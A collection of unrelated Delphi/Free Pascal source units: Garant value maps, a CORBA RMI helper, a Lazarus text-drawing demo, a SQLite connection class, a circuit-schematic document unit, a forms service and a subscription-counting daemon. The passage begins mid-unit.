Ord(Low(Tl3TreeLevelDist))); Assert(aValue <= Ord(High(Tl3TreeLevelDist))); Result := TreeLevelDistNamesMap[Tl3TreeLevelDist(aValue)].AsCStr; end;//TTreeLevelDistNamesMapImplPrim.ValueToDisplayName class function TTreeLevelDistNamesMapImpl.Make: Il3IntegerValueMap; {* Фабричный метод для TTreeLevelDistNamesMapImpl } begin if (g_TTreeLevelDistNamesMapImpl = nil) then begin l3System.AddExitProc(TTreeLevelDistNamesMapImplFree); Il3IntegerValueMap(g_TTreeLevelDistNamesMapImpl) := inherited Make; end; Result := Il3IntegerValueMap(g_TTreeLevelDistNamesMapImpl); end;//TTreeLevelDistNamesMapImpl.Make class function TTreeLevelDistNamesMapImpl.Exists: Boolean; {* Проверяет создан экземпляр синглетона или нет } begin Result := g_TTreeLevelDistNamesMapImpl <> nil; end;//TTreeLevelDistNamesMapImpl.Exists class procedure WordOrderNamesMapHelper.FillStrings(const aStrings: IafwStrings); {* Заполнение списка строк значениями } var l_Index: Tl3WordOrder; begin aStrings.Clear; for l_Index := Low(l_Index) to High(l_Index) do aStrings.Add(WordOrderNamesMap[l_Index].AsCStr); end;//WordOrderNamesMapHelper.FillStrings class function WordOrderNamesMapHelper.DisplayNameToValue(const aDisplayName: Il3CString): Tl3WordOrder; {* Преобразование строкового значения к порядковому } var l_Index: Tl3WordOrder; begin for l_Index := Low(l_Index) to High(l_Index) do if l3Same(aDisplayName, WordOrderNamesMap[l_Index].AsCStr) then begin Result := l_Index; Exit; end;//l3Same.. raise Exception.CreateFmt('Display name "%s" not found in map "WordOrderNamesMap"', [l3Str(aDisplayName)]); end;//WordOrderNamesMapHelper.DisplayNameToValue class function TWordOrderNamesMapImplPrim.Make: Il3IntegerValueMap; {* Фабричный метод для TWordOrderNamesMapImplPrim } var l_Inst : TWordOrderNamesMapImplPrim; begin l_Inst := Create; try Result := l_Inst; finally l_Inst.Free; end;//try..finally end;//TWordOrderNamesMapImplPrim.Make function TWordOrderNamesMapImplPrim.pm_GetMapID: Tl3ValueMapID; begin l3FillChar(Result, SizeOf(Result)); Assert(false); end;//TWordOrderNamesMapImplPrim.pm_GetMapID procedure TWordOrderNamesMapImplPrim.GetDisplayNames(const aList: Il3StringsEx); {* заполняет список значениями "UI-строка" } begin WordOrderNamesMapHelper.FillStrings(aList); end;//TWordOrderNamesMapImplPrim.GetDisplayNames function TWordOrderNamesMapImplPrim.MapSize: Integer; {* количество элементов в мапе. } begin Result := Ord(High(Tl3WordOrder)) - Ord(Low(Tl3WordOrder)); end;//TWordOrderNamesMapImplPrim.MapSize function TWordOrderNamesMapImplPrim.DisplayNameToValue(const aDisplayName: Il3CString): Integer; begin Result := Ord(WordOrderNamesMapHelper.DisplayNameToValue(aDisplayName)); end;//TWordOrderNamesMapImplPrim.DisplayNameToValue function TWordOrderNamesMapImplPrim.ValueToDisplayName(aValue: Integer): Il3CString; begin Assert(aValue >= Ord(Low(Tl3WordOrder))); Assert(aValue <= Ord(High(Tl3WordOrder))); Result := WordOrderNamesMap[Tl3WordOrder(aValue)].AsCStr; end;//TWordOrderNamesMapImplPrim.ValueToDisplayName class function TWordOrderNamesMapImpl.Make: Il3IntegerValueMap; {* Фабричный метод для TWordOrderNamesMapImpl } begin if (g_TWordOrderNamesMapImpl = nil) then begin l3System.AddExitProc(TWordOrderNamesMapImplFree); Il3IntegerValueMap(g_TWordOrderNamesMapImpl) := inherited Make; end; Result := Il3IntegerValueMap(g_TWordOrderNamesMapImpl); end;//TWordOrderNamesMapImpl.Make class function TWordOrderNamesMapImpl.Exists: Boolean; {* Проверяет создан экземпляр синглетона или нет } begin Result := g_TWordOrderNamesMapImpl <> nil; end;//TWordOrderNamesMapImpl.Exists initialization str_nsc_cpmTreeLevelDistHint.Init; {* Инициализация str_nsc_cpmTreeLevelDistHint } str_nsc_cpmWordOrderHint.Init; {* Инициализация str_nsc_cpmWordOrderHint } str_nsc_cpmWordPositionHint.Init; {* Инициализация str_nsc_cpmWordPositionHint } str_nsc_wpAnyPathWord.Init; {* Инициализация str_nsc_wpAnyPathWord } str_nsc_wpAtBeginWord.Init; {* Инициализация str_nsc_wpAtBeginWord } str_nsc_wpAtBeginString.Init; {* Инициализация str_nsc_wpAtBeginString } str_nsc_tldAllLevels.Init; {* Инициализация str_nsc_tldAllLevels } str_nsc_tldOneLevel.Init; {* Инициализация str_nsc_tldOneLevel } str_nsc_woAnyOrder.Init; {* Инициализация str_nsc_woAnyOrder } str_nsc_woAsWrote.Init; {* Инициализация str_nsc_woAsWrote } {$IfEnd} // NOT Defined(Admin) AND NOT Defined(Monitorings) end.
unit java_utils; interface uses EJB, EJB_int, value, value_int, orb_int, seq1_octet_org_omg_boxedRMI, seq1_octet_org_omg_boxedRMI_int, orbtypes, seq1_long_org_omg_boxedRMI_int, seq1_long_org_omg_boxedRMI; type TStackTraceElementFactory = class(TValueFactoryBase, IValueFactory) protected function create_for_umarshal(): IValueBase; override; end; TStackTraceElementImpl = class(Tjava_lang_StackTraceElement); TStackTraceElementSeqFactory = class(TValueFactoryBase, IValueFactory) protected function create_for_umarshal(): IValueBase; override; end; TSeqStackTraceElementImpl = class(Tjava_lang_seq1_StackTraceElement); TOctetSeqFactory = class(TValueFactoryBase, IValueFactory) protected function create_for_umarshal(): IValueBase; override; end; TSeqOctetElementImpl = class(Torg_omg_boxedRMI_seq1_octet); TJavaLangIntegerFactory = class(TValueFactoryBase, IValueFactory) protected function create_for_umarshal(): IValueBase; override; end; TJavaLangIntegerSeqFactory = class(TValueFactoryBase, IValueFactory) protected function create_for_umarshal(): IValueBase; override; end; TJavaLangIntegerImpl = class(Tjava_lang_Integer); TJavaLangLongFactory = class(TValueFactoryBase, IValueFactory) protected function create_for_umarshal(): IValueBase; override; end; TJavaLangLongImpl = class(Tjava_lang_Long); procedure RegisterValueFactory(const AOrb: IORB); function StringToWStringValue(const Str: WideString): IWStringValue; function WStringValueToString(const WStrValue: IWStringValue): WideString; function StringToStringValue(const Str: string): IStringValue; function StringValueToString(const StrValue: IStringValue): string; function VariantToJavaObject(const AVariant: Variant): Tjava_lang_Object; function JavaObjectToVariant(const AJavaObject: Tjava_lang_Object): Variant; function OctetSeqToBoxedRMI(const Seq: OctetSeq): Iorg_omg_boxedRMI_seq1_octet; function LongSeqToBoxedRMI(const Seq: LongSeq): Iorg_omg_boxedRMI_seq1_long; implementation uses Variants, SysUtils, any, tcode; procedure RegisterValueFactory(const AOrb: IORB); begin AOrb.register_value_factory('RMI:java.lang.StackTraceElement:CD38F9930EA8AAEC:6109C59A2636DD85', TStackTraceElementFactory.Create()); AOrb.register_value_factory('RMI:[Ljava.lang.StackTraceElement;:CD38F9930EA8AAEC:6109C59A2636DD85', TStackTraceElementSeqFactory.Create()); AOrb.register_value_factory('RMI:[B:0000000000000000', TOctetSeqFactory.Create()); AOrb.register_value_factory('RMI:java.lang.Integer:47693FFB4FE579F4:12E2A0A4F7818738', TJavaLangIntegerFactory.Create()); AOrb.register_value_factory('RMI:java.lang.Long:205F6CCF002E6E90:3B8BE490CC8F23DF', TJavaLangLongFactory.Create()); AOrb.register_value_factory('RMI:[I:0000000000000000', TJavaLangIntegerSeqFactory.Create); end; function StringToWStringValue(const Str: WideString): IWStringValue; begin Result := TWStringValue.Create(Str); end; function WStringValueToString(const WStrValue: IWStringValue): WideString; begin Result := WStrValue._value(); end; function StringToStringValue(const Str: string): IStringValue; begin Result := TStringValue.Create(Str); end; function StringValueToString(const StrValue: IStringValue): string; begin Result := StrValue._value(); end; function VariantToJavaObject(const AVariant: Variant): Tjava_lang_Object; var valueInt: Ijava_lang_Integer; valueStr: IWStringValue; begin if VarIsNull(AVariant) or VarIsEmpty(AVariant) then begin Result := TAny.Create(); Result.replace(TTypeCode.Create(tk_null)); end else case VarType(AVariant) of varInteger: begin valueInt := TJavaLangIntegerImpl.Create(); valueInt.value(AVariant); Result := java_lang_Integer_to_any(valueInt); end; varString, varOleStr: begin valueStr := StringToWStringValue(AVariant); Result := WStringValue_to_any(valueStr); end; else raise Exception.CreateFmt('Not implemented: Variant type %d', [VarType(AVariant)]); end; end; function JavaObjectToVariant(const AJavaObject: Tjava_lang_Object): Variant; var valueInt: Ijava_lang_Integer; valueLong: Ijava_lang_Long; valueWideStr: IWStringValue; intf: IInterface; begin if AJavaObject.tc.kind = tk_null then Result := Null else if AJavaObject.tc.kind = tk_void then Result := Unassigned else if AJavaObject.tc.equal(java_lang_Integer_marshaller.typecode) then begin any_to_java_lang_Integer(AJavaObject, valueInt); Result := valueInt.value; end else if AJavaObject.tc.equal(java_lang_Long_marshaller.typecode) then begin any_to_java_lang_Long(AJavaObject, valueLong); Result := valueLong.value; end else if {AJavaObject.tc.equal(WStringValue_marshaller.typecode)}AJavaObject.tc.repoid = WStringValue_marshaller.typecode.repoid then begin //workaround features in java ORB {any_to_WStringValue(AJavaObject, valueWideStr); Result := WStringValueToString(valueWideStr);} AJavaObject.get_value(intf); Result := (intf as IWStringValue)._value; end else raise Exception.CreateFmt('Not implemented: Java type %s', [AJavaObject.tc.repoid]); end; function OctetSeqToBoxedRMI(const Seq: OctetSeq): Iorg_omg_boxedRMI_seq1_octet; begin Result := Torg_omg_boxedRMI_seq1_octet.Create(Seq); end; function LongSeqToBoxedRMI(const Seq: LongSeq): Iorg_omg_boxedRMI_seq1_long; begin Result := Torg_omg_boxedRMI_seq1_long.Create(Seq); end; { TStackTraceElementFactory } function TStackTraceElementFactory.create_for_umarshal: IValueBase; begin Result := TStackTraceElementImpl.Create(); end; { TStackTraceElementSeqFactory } function TStackTraceElementSeqFactory.create_for_umarshal: IValueBase; begin Result := TSeqStackTraceElementImpl.Create(); end; { TOctetSeqFactory } function TOctetSeqFactory.create_for_umarshal: IValueBase; begin Result := TSeqOctetElementImpl.Create(); end; { TJavaLangIntegerFactory } function TJavaLangIntegerFactory.create_for_umarshal: IValueBase; begin Result := TJavaLangIntegerImpl.Create(); end; { TJavaLangLongFactory } function TJavaLangLongFactory.create_for_umarshal: IValueBase; begin Result := TJavaLangLongImpl.Create(); end; { TJavaLangIntegerSeqFactory } function TJavaLangIntegerSeqFactory.create_for_umarshal: IValueBase; begin Result := Torg_omg_boxedRMI_seq1_long.Create; end; end.
unit Unit1; {$mode objfpc}{$H+} interface uses Classes, SysUtils, Forms, Controls, Graphics, Dialogs, ExtCtrls, Spin; type { TForm1 } TForm1 = class(TForm) PaintBox1: TPaintBox; SpinEdit1: TSpinEdit; procedure PaintBox1Paint(Sender: TObject); procedure SpinEdit1Change(Sender: TObject); private val: integer; public end; var Form1: TForm1; implementation {$R *.lfm} { TForm1 } procedure TForm1.PaintBox1Paint(Sender: TObject); var cnv: TCanvas; begin cnv:=PaintBox1.Canvas; cnv.Font.Color:= clGreen; cnv.Font.Orientation:= val*10; if val>=0 then cnv.Font.Style:= [] else cnv.Font.Style:= [fsItalic]; cnv.TextOut(200,100,'Hello World!'); end; procedure TForm1.SpinEdit1Change(Sender: TObject); begin val:= SpinEdit1.Value; PaintBox1.Invalidate; end; end.
unit objConexaoBanco; interface uses Forms, System.SysUtils, FireDAC.Stan.Intf, FireDAC.Stan.Option, FireDAC.Stan.Error, FireDAC.UI.Intf, FireDAC.Phys.Intf, FireDAC.Stan.Def, FireDAC.Stan.Pool, FireDAC.Stan.Async, FireDAC.Phys, FireDAC.VCLUI.Wait, Data.DB, FireDAC.Comp.Client, FireDAC.Phys.SQLiteDef, FireDAC.Phys.SQLite, FireDAC.DApt; type TConexaoBanco = class(TObject) private FconexaoBanco : TFDConnection; protected function getConexaoBanco: TFDConnection; public property conexaoBanco : TFDConnection read getConexaoBanco; constructor Create; destructor Destroy; end; implementation { TConexaoBanco } constructor TConexaoBanco.Create; begin FconexaoBanco := TFDConnection.Create(Application); FconexaoBanco.Connected := False; FconexaoBanco.LoginPrompt := False; FconexaoBanco.Params.DriverID := 'SQLite'; FconexaoBanco.Params.Database := ExtractFileDir(Application.ExeName) + '\database.db'; FconexaoBanco.Connected := True; end; destructor TConexaoBanco.Destroy; begin FconexaoBanco.Connected := False; FconexaoBanco.Free; inherited; end; function TConexaoBanco.getConexaoBanco: TFDConnection; begin result := FconexaoBanco; end; end.
unit document; {$mode delphi} interface uses Classes, SysUtils, LCLIntf, constants, dbcomponents, tcfileformat, tclists, // fpvectorial fpvectorial; type { TDocument } TDocument = class(TvVectorialDocument) private { Helper routines } FDestroying: Boolean; procedure UpdateDocumentInfo(AIsSaved: Boolean); function ReadBOF(AStream: TStream): Boolean; procedure WriteBOF(AStream: TStream); procedure WriteSCHEMATICS_GUI_DATA(AStream: TStream); procedure WriteSCHEMATICS_DOC_DATA(AStream: TStream); procedure WriteCOMPONENT(AStream: TStream; AElement: PTCElement); procedure WriteWIRE(AStream: TStream; AElement: PTCElement); procedure WriteTEXT(AStream: TStream; AElement: PTCElement); procedure WritePOLYLINE(AStream: TStream; AElement: PTCElement); procedure WriteEOF(AStream: TStream); public { Callback for changes in the UI info } UIChangeCallback: TNotifyEvent; { Non-Persistent information of the user interface } Modified: Boolean; Saved: Boolean; FileName: string; NewItemOrientation: TCComponentOrientation; CurrentTool: TCTool; PosX, PosY: Double; // in milimeters { Persistent information of the user interface } Title: string; SnapToGrid: Boolean; ShowGrid: Boolean; { Selection fields } SelectedTCElement: PTCElement; SelectedElementType: TCTool; SelectionInfo: DWord; SelectionvInfo: TvFindEntityResult; { Document information } Components: TCComponentList; Wires: TCWireList; TextList: TCTextList; Polylines: TCPolylineList; RasterImages: TCRasterImageList; Ellipses: TCEllipseList; { Base methods } constructor Create; override; destructor Destroy; override; procedure Clear; override; //procedure LoadFromFile(AFileName: string); //procedure LoadFromStream(AStream: TStream); //procedure SaveToFile(AFileName: string); //procedure SaveToStream(AStream: TStream); { General document methods } function GetDocumentPos(X, Y: Integer): TPoint; function GetVectorialDocumentPos(X, Y: Integer): TPoint; function VectorialPosToCanvasPos(X, Y: Double): TPoint; { Components methods } procedure RotateOrientation(var AOrientation: TCComponentOrientation); function GetComponentTopLeft(AComponent: PTCComponent): TPoint; { Selection methods } procedure ClearSelection; function IsSelected(AType: TCTool): Boolean; function IsSomethingSelected: Boolean; function GetListForElement(AType: TCTool): PTCElementList; function GetSelectedComponent: PTCComponent; function GetSelectedWire: PTCWire; function GetSelectedText: PTCText; function GetSelectedPolyline: PTCPolyline; function GetSelectedRasterImage: PTCRasterImage; end; var vDocument: TDocument; implementation { TDocument } procedure TDocument.UpdateDocumentInfo(AIsSaved: Boolean); begin if AIsSaved then begin { Non-Persistent information of the user interface } Modified := False; Saved := True; end else begin { Non-Persistent information of the user interface } Modified := False; Saved := False; end; { Update the UI with the changes } if Assigned(UIChangeCallback) then UIChangeCallback(Self); end; function TDocument.ReadBOF(AStream: TStream): Boolean; var vID: array[0..INT_TCFILE_IDENTIFIER_SIZE-1] of Char; begin Result := False; AStream.ReadBuffer(vID, INT_TCFILE_IDENTIFIER_SIZE); if not CompareMem(@vID, @STR_TCFILE_IDENTIFIER[1], INT_TCFILE_IDENTIFIER_SIZE) then Exit; if AStream.ReadByte <> TCRECORD_BOF then Exit; AStream.ReadByte; AStream.ReadWord; Result := True; end; procedure TDocument.WriteBOF(AStream: TStream); begin AStream.WriteBuffer(STR_TCFILE_IDENTIFIER[1], INT_TCFILE_IDENTIFIER_SIZE); AStream.WriteByte(TCRECORD_BOF); AStream.WriteByte(TCRECORD_BOF_VER); AStream.WriteWord($0); end; procedure TDocument.WriteSCHEMATICS_GUI_DATA(AStream: TStream); begin end; procedure TDocument.WriteSCHEMATICS_DOC_DATA(AStream: TStream); begin end; procedure TDocument.WriteCOMPONENT(AStream: TStream; AElement: PTCElement); var AComponent: PTCComponent absolute AElement; begin AStream.WriteByte(TCRECORD_COMPONENT); AStream.WriteByte(TCRECORD_COMPONENT_VER); AStream.WriteWord(TCRECORD_COMPONENT_SIZE); AStream.WriteBuffer(AComponent^, SizeOf(TCComponent)); end; procedure TDocument.WriteWIRE(AStream: TStream; AElement: PTCElement); var AWire: PTCWire absolute AElement; begin AStream.WriteByte(TCRECORD_WIRE); AStream.WriteByte(TCRECORD_WIRE_VER); AStream.WriteWord(TCRECORD_WIRE_SIZE); AStream.WriteBuffer(AWire^, SizeOf(TCWire)); end; procedure TDocument.WriteTEXT(AStream: TStream; AElement: PTCElement); var AText: PTCText absolute AElement; begin AStream.WriteByte(TCRECORD_TEXT); AStream.WriteByte(TCRECORD_TEXT_VER); AStream.WriteWord(TCRECORD_TEXT_SIZE); AStream.WriteBuffer(AText^, SizeOf(TCText)); end; procedure TDocument.WritePOLYLINE(AStream: TStream; AElement: PTCElement); var APolyline: PTCPolyline absolute AElement; begin AStream.WriteByte(TCRECORD_POLYLINE); AStream.WriteByte(TCRECORD_POLYLINE_VER); AStream.WriteWord(TCRECORD_POLYLINE_SIZE); AStream.WriteBuffer(APolyline^, SizeOf(APolyline)); end; procedure TDocument.WriteEOF(AStream: TStream); begin end; constructor TDocument.Create; begin inherited Create; { Creates the lists of items } Components := TCComponentList.Create; Wires := TCWireList.Create; TextList := TCTextList.Create; Polylines := TCPolylineList.Create; RasterImages := TCRasterImageList.Create; Ellipses := TCEllipseList.Create; { Initialization of various fields } Clear; end; destructor TDocument.Destroy; begin { Cleans the memory of the lists of items } FreeAndNil(Components); FreeAndNil(Wires); FreeAndNil(TextList); Polylines.Free; RasterImages.Free; Ellipses.Free; FDestroying := True; inherited Destroy; end; { Creates a new document, by completeling clearing all data in ti } procedure TDocument.Clear; begin inherited Clear; if FDestroying then Exit; // important, otherwise crashes { Non-Persistent information of the user interface } Modified := False; Saved := False; FileName := ''; ZoomLevel := 1.0; PosX := 0.0; PosY := 0.0; { Persistent information of the user interface } CurrentTool := toolArrow; NewItemOrientation := coEast; Title := ''; SnapToGrid := True; ShowGrid := True; { Selection fields } SelectedTCElement := nil; SelectedElementType := toolArrow; SelectionInfo := 0; { Document information } Width := INT_SHEET_DEFAULT_WIDTH; Height := INT_SHEET_DEFAULT_HEIGHT; if Components <> nil then Components.Clear; if Wires <> nil then Wires.Clear; if TextList <> nil then TextList.Clear; { Update the UI with the changes } if Assigned(UIChangeCallback) then UIChangeCallback(Self); end; (*procedure TDocument.LoadFromFile(AFileName: string); var AFileStream: TFileStream; begin AFileStream := TFileStream.Create(AFileName, fmOpenRead); try LoadFromStream(AFileStream); finally AFileStream.Free; end; { Update fields } Title := ExtractFileName(AFileName); FileName := AFileName; UpdateDocumentInfo(True); end; procedure TDocument.LoadFromStream(AStream: TStream); var ARecID, ARecVer: Byte; ARecSize: Word; AComponent: PTCComponent; AWire: PTCWire; AText: PTCText; begin { First try to verify if the file is valid } if not ReadBOF(AStream) then raise Exception.Create('Invalid Turbo Circuit BOF'); { clears old data } Clear(); { Reads all records } while AStream.Position < AStream.Size do begin ARecID := AStream.ReadByte; ARecVer := AStream.ReadByte; ARecSize := AStream.ReadWord; case ARecID of TCRECORD_BOF: Exit; // Shouldn't be here TCRECORD_GUI_DATA: begin { Persistent information of the user interface } // CurrentTool := TCTool(AStream.ReadDWord); // NewComponentOrientation := TCComponentOrientation(AStream.ReadDWord); { Selection fields } // SelectedComponent: PTCComponent; // SelectedWire: PTCWire; // SelectedWirePart: TCWirePart; { Document information } // SheetWidth := AStream.ReadDWord; // SheetHeight := AStream.ReadDWord; end; TCRECORD_DOC_DATA: begin end; TCRECORD_COMPONENT: begin New(AComponent); AStream.Read(AComponent^, SizeOf(TCComponent)); Components.Insert(AComponent); end; TCRECORD_WIRE: begin New(AWire); AStream.Read(AWire^, SizeOf(TCWire)); Wires.Insert(AWire); end; TCRECORD_TEXT: begin New(AText); AStream.Read(AText^, SizeOf(TCText)); TextList.Insert(AText); end; TCRECORD_EOF: Exit; end; end; end; procedure TDocument.SaveToFile(AFileName: string); var AFileStream: TFileStream; begin AFileStream := TFileStream.Create(AFileName, fmOpenWrite or fmCreate); try SaveToStream(AFileStream); finally AFileStream.Free; end; { Update fields } Title := ExtractFileName(AFileName); FileName := AFileName; UpdateDocumentInfo(True); end; procedure TDocument.SaveToStream(AStream: TStream); begin { First the identifier of any TurboCircuit schematics file } WriteBOF(AStream); { Persistent information of the user interface } // AStream.WriteDWord(LongWord(CurrentTool)); // AStream.WriteDWord(LongWord(NewComponentOrientation)); { Selection fields } // SelectedComponent: PTCComponent; // SelectedWire: PTCWire; // SelectedWirePart: TCWirePart; { Document information } // AStream.WriteDWord(SheetWidth); // AStream.WriteDWord(SheetHeight); { Stores the components } Components.ForEachDoWrite(AStream, WriteCOMPONENT); { Stores the wires } Wires.ForEachDoWrite(AStream, WriteWIRE); { Stores the text elements } TextList.ForEachDoWrite(AStream, WriteTEXT); { Stores the polylines } Polylines.ForEachDoWrite(AStream, WritePOLYLINE); end;*) function TDocument.GetDocumentPos(X, Y: Integer): TPoint; begin Result.X := Round(X / INT_SHEET_GRID_SPACING); Result.Y := Round(Y / INT_SHEET_GRID_SPACING); end; // Receives control mouse coordinates // Returns coordenates for FPVectorial function TDocument.GetVectorialDocumentPos(X, Y: Integer): TPoint; begin Result.X := Round(X / ZoomLevel); Result.Y := Round((Height - Y) / ZoomLevel); end; function TDocument.VectorialPosToCanvasPos(X, Y: Double): TPoint; begin Result.X := Round(X * ZoomLevel); Result.Y := Round((Height - Y) * ZoomLevel); end; procedure TDocument.RotateOrientation(var AOrientation: TCComponentOrientation); begin case AOrientation of coEast: AOrientation := coNorth; coNorth: AOrientation := coWest; coWest: AOrientation := coSouth; coSouth: AOrientation := coEast; end; end; function TDocument.GetComponentTopLeft(AComponent: PTCComponent): TPoint; var ComponentWidth, ComponentHeight: Integer; begin vComponentsDatabase.GoToRecByID(AComponent^.TypeID); ComponentWidth := vComponentsDatabase.GetWidth(); ComponentHeight := vComponentsDatabase.GetHeight(); case AComponent^.Orientation of coEast: begin Result.X := AComponent^.Pos.X; Result.Y := AComponent^.Pos.Y; end; coNorth: begin Result.X := AComponent^.Pos.X; Result.Y := AComponent^.Pos.Y - ComponentWidth; end; coWest: begin Result.X := AComponent^.Pos.X - ComponentWidth; Result.Y := AComponent^.Pos.Y - ComponentHeight; end; coSouth: begin Result.X := AComponent^.Pos.X - ComponentHeight; Result.Y := AComponent^.Pos.Y; end; end; end; procedure TDocument.ClearSelection; begin SelectedTCElement := nil; SelectedElement := nil; SelectionInfo := ELEMENT_DOES_NOT_MATCH; end; function TDocument.IsSelected(AType: TCTool): Boolean; begin Result := IsSomethingSelected and (SelectedElementType = AType); end; function TDocument.IsSomethingSelected: Boolean; begin Result := (SelectedElement <> nil) or (SelectedTCElement <> nil); end; function TDocument.GetListForElement(AType: TCTool): PTCElementList; begin case Atype of toolComponent: Result := @Components; toolWire: Result := @Wires; toolText: Result := @TextList; toolPolyline: Result := @Polylines; else Result := nil; end; end; function TDocument.GetSelectedComponent: PTCComponent; begin Result := PTCComponent(SelectedTCElement); end; function TDocument.GetSelectedWire: PTCWire; begin Result := PTCWire(SelectedTCElement); end; function TDocument.GetSelectedText: PTCText; begin Result := PTCText(SelectedTCElement); end; function TDocument.GetSelectedPolyline: PTCPolyline; begin Result := PTCPolyline(SelectedTCElement); end; function TDocument.GetSelectedRasterImage: PTCRasterImage; begin Result := PTCRasterImage(SelectedTCElement); end; initialization vDocument := TDocument.Create; vDocument.AddPage(); finalization vDocument.Free; end.
unit l3FormsService; // Модуль: "w:\common\components\rtl\Garant\L3\l3FormsService.pas" // Стереотип: "Service" // Элемент модели: "Tl3FormsService" MUID: (5506D56601D6) {$Include w:\common\components\rtl\Garant\L3\l3Define.inc} interface {$If NOT Defined(NoVCL)} uses l3IntfUses , l3ProtoObject , Forms , Classes ; type TCustomForm = Forms.TCustomForm; (* Ml3FormsService = interface {* Контракт сервиса Tl3FormsService } function GetParentForm(Component: TPersistent): TCustomForm; function GetAnotherParentForm(Component: TPersistent): TCustomForm; function GetTopParentForm(Component: TPersistent): TCustomForm; function GetMainForm(Component: TPersistent): TCustomForm; end;//Ml3FormsService *) Il3FormsService = interface {* Интерфейс сервиса Tl3FormsService } function GetParentForm(Component: TPersistent): TCustomForm; function GetAnotherParentForm(Component: TPersistent): TCustomForm; function GetTopParentForm(Component: TPersistent): TCustomForm; function GetMainForm(Component: TPersistent): TCustomForm; end;//Il3FormsService Tl3FormsService = {final} class(Tl3ProtoObject) private f_Alien: Il3FormsService; {* Внешняя реализация сервиса Il3FormsService } protected procedure pm_SetAlien(const aValue: Il3FormsService); procedure ClearFields; override; public function GetParentForm(Component: TPersistent): TCustomForm; function GetAnotherParentForm(Component: TPersistent): TCustomForm; function GetTopParentForm(Component: TPersistent): TCustomForm; function GetMainForm(Component: TPersistent): TCustomForm; class function Instance: Tl3FormsService; {* Метод получения экземпляра синглетона Tl3FormsService } class function Exists: Boolean; {* Проверяет создан экземпляр синглетона или нет } public property Alien: Il3FormsService write pm_SetAlien; {* Внешняя реализация сервиса Il3FormsService } end;//Tl3FormsService {$IfEnd} // NOT Defined(NoVCL) implementation {$If NOT Defined(NoVCL)} uses l3ImplUses , SysUtils , l3Base {$If NOT Defined(NoScripts)} , TtfwTypeRegistrator_Proxy {$IfEnd} // NOT Defined(NoScripts) //#UC START# *5506D56601D6impl_uses* //#UC END# *5506D56601D6impl_uses* ; var g_Tl3FormsService: Tl3FormsService = nil; {* Экземпляр синглетона Tl3FormsService } procedure Tl3FormsServiceFree; {* Метод освобождения экземпляра синглетона Tl3FormsService } begin l3Free(g_Tl3FormsService); end;//Tl3FormsServiceFree procedure Tl3FormsService.pm_SetAlien(const aValue: Il3FormsService); begin Assert((f_Alien = nil) OR (aValue = nil)); f_Alien := aValue; end;//Tl3FormsService.pm_SetAlien function Tl3FormsService.GetParentForm(Component: TPersistent): TCustomForm; //#UC START# *5506D58B0238_5506D56601D6_var* //#UC END# *5506D58B0238_5506D56601D6_var* begin //#UC START# *5506D58B0238_5506D56601D6_impl* if (f_Alien <> nil) then Result := f_Alien.GetParentForm(Component) else begin Result := nil; Assert(false, 'Сервис не реализован'); end;//f_Alien <> nil //#UC END# *5506D58B0238_5506D56601D6_impl* end;//Tl3FormsService.GetParentForm function Tl3FormsService.GetAnotherParentForm(Component: TPersistent): TCustomForm; //#UC START# *5506D5B30127_5506D56601D6_var* //#UC END# *5506D5B30127_5506D56601D6_var* begin //#UC START# *5506D5B30127_5506D56601D6_impl* if (f_Alien <> nil) then Result := f_Alien.GetAnotherParentForm(Component) else begin Result := nil; Assert(false, 'Сервис не реализован'); end;//f_Alien <> nil //#UC END# *5506D5B30127_5506D56601D6_impl* end;//Tl3FormsService.GetAnotherParentForm function Tl3FormsService.GetTopParentForm(Component: TPersistent): TCustomForm; //#UC START# *5506E84700E5_5506D56601D6_var* //#UC END# *5506E84700E5_5506D56601D6_var* begin //#UC START# *5506E84700E5_5506D56601D6_impl* if (f_Alien <> nil) then Result := f_Alien.GetTopParentForm(Component) else begin Result := nil; Assert(false, 'Сервис не реализован'); end;//f_Alien <> nil //#UC END# *5506E84700E5_5506D56601D6_impl* end;//Tl3FormsService.GetTopParentForm function Tl3FormsService.GetMainForm(Component: TPersistent): TCustomForm; //#UC START# *5506E861028F_5506D56601D6_var* //#UC END# *5506E861028F_5506D56601D6_var* begin //#UC START# *5506E861028F_5506D56601D6_impl* if (f_Alien <> nil) then Result := f_Alien.GetMainForm(Component) else begin Result := nil; Assert(false, 'Сервис не реализован'); end;//f_Alien <> nil //#UC END# *5506E861028F_5506D56601D6_impl* end;//Tl3FormsService.GetMainForm class function Tl3FormsService.Instance: Tl3FormsService; {* Метод получения экземпляра синглетона Tl3FormsService } begin if (g_Tl3FormsService = nil) then begin l3System.AddExitProc(Tl3FormsServiceFree); g_Tl3FormsService := Create; end; Result := g_Tl3FormsService; end;//Tl3FormsService.Instance class function Tl3FormsService.Exists: Boolean; {* Проверяет создан экземпляр синглетона или нет } begin Result := g_Tl3FormsService <> nil; end;//Tl3FormsService.Exists procedure Tl3FormsService.ClearFields; begin Alien := nil; inherited; end;//Tl3FormsService.ClearFields initialization {$If NOT Defined(NoScripts)} TtfwTypeRegistrator.RegisterType(TypeInfo(TCustomForm)); {* Регистрация типа TCustomForm } {$IfEnd} // NOT Defined(NoScripts) {$IfEnd} // NOT Defined(NoVCL) end.
unit SubscritionsCounter; interface uses DirServerSession, Daemons; function CreateDaemon(const DSAddr : string; DSPort : integer) : IDaemon; implementation uses Windows, Classes, SysUtils, Logs; const cLogId = 'Subscriptions Daemon'; type TUserHash = 'A'..'Z'; type TSubscriptionsCouterDaemon = class(TBasicDaemon) private // IDaemon function GetName : string; override; function GetDescription : string; override; private procedure Execute; override; function GetLogId : string; override; end; function CreateDaemon(const DSAddr : string; DSPort : integer) : IDaemon; begin Result := TSubscriptionsCouterDaemon.Create(DSAddr, DSPort); end; // TRankingsDaemon function TSubscriptionsCouterDaemon.GetName : string; begin Result := cLogId; end; function TSubscriptionsCouterDaemon.GetDescription : string; begin Result := 'Subscriptions counter daemon'; end; procedure TSubscriptionsCouterDaemon.Execute; var hash : TUserHash; usercount : integer; subscount : integer; Keys : TStringList; //i : integer; begin inherited; if fSession.SetCurrentKey('Root/Users') then begin Keys := TStringList.Create; try usercount := 0; subscount := 0; for hash := low(hash) to high(hash) do if fSession.SetCurrentKey('Root/Users' + '/' + hash) then begin Keys.Text := fSession.GetKeyNames; inc(usercount, Keys.Count); { for i := 0 to pred(Keys.Count) do if fSession.SetCurrentKey('Root/Users' + '/' + hash + '/' + Keys[i]) then if fSession.KeyExists('Subscription') then inc(subscount); } end; Log(cLogId, IntToStr(usercount) + ' accounts exist'); Log(cLogId, IntToStr(subscount) + ' have subscribed'); finally Keys.Free; end; end; end; function TSubscriptionsCouterDaemon.GetLogId : string; begin Result := cLogId; end; end.